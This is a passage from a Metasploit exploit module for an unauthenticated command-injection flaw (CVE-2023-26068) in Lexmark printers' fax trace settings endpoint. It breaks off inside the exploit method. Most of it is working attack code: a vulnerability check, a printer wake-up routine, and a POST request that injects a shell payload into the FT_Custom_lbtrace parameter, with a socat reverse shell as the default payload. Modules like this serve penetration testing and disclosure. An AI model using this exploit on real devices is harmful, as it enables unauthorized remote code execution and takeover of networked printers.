The vulnerability is only exposed if, when setting up the printer or device, the user selects "Set up Later" when asked if they would like to add an Admin user. If no Admin user is created the endpoint `/cgi-bin/fax_change_faxtrace_settings` is accessible without authentication. The endpoint allows the user to configure a number of different fax settings. A number of the configurable parameters on the page (ex. `FT_Custom_lbtrace`) fail to be sanitized properly before being used in an bash eval statement: `eval "$cmd" > /dev/null`, allowing for an unauthenticated user to run arbitrary commands. }, 'Author' => [ 'James Horseman', # Analysis & PoC 'Zach Hanley', # Analysis & PoC 'jheysel-r7' # Msf module ], 'References' => [ [ 'URL', 'https://github.com/horizon3ai/CVE-2023-26067'], [ 'URL', 'https://publications.lexmark.com/publications/security-alerts/CVE-2023-26068.pdf'], [ 'URL', 'https://www.horizon3.ai/lexmark-command-injection-vulnerability-zdi-can-19470-pwn2own-toronto-2022/'], [ 'CVE', '2023-26068'] ], 'License' => MSF_LICENSE, 'Platform' => ['unix'], 'Privileged' => false, 'Arch' => [ ARCH_CMD ], 'Targets' => [ [ 'Unix (In-Memory)', { 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_socat_tcp' } } ] ], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'socat' } }, 'DefaultTarget' => 0, 'DisclosureDate' => '2023-03-13', 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'SideEffects' => [ ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options( [ OptInt.new('SLEEP', [true, 'Sleep time to wait for the printer to wake', 10]), ] ) end def check send_wakeup res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, '/cgi-bin/fax_change_faxtrace_settings'), 'method' => 'GET' ) return Exploit::CheckCode::Unknown('The target did not respond ') unless res return Exploit::CheckCode::Safe('The target does not seem to be vulnerable') unless res.code == 200 && res.get_xml_document.xpath('//title').text == 'Fax Trace Settings' Exploit::CheckCode::Appears('The vulnerable endpoint "/cgi-bin/fax_change_faxtrace_settings" is reachable') end # If the printer has been inactive for some time it might be sleeping, in which case it's best to send a request # or two to wake it up before running the check method or exploit. def send_wakeup retry_until_truthy(timeout: datastore['SLEEP']) do print_status('Waking up the printer...') res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, '/cgi-bin/fax_change_faxtrace_settings'), 'method' => 'HEAD' ) break if res && res.code == 200 end end def exploit if datastore['ForceExploit'] || !datastore['AutoCheck'] send_wakeup end print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") res = send_request_cgi( 'uri' => normalize_uri(target_uri.path, '/cgi-bin/fax_change_faxtrace_settings'), 'method' => 'POST', 'data' => "FT_Custom_lbtrace=3;$(#{payload.encoded});#" ) print_error('A response to the exploit attempt was received.
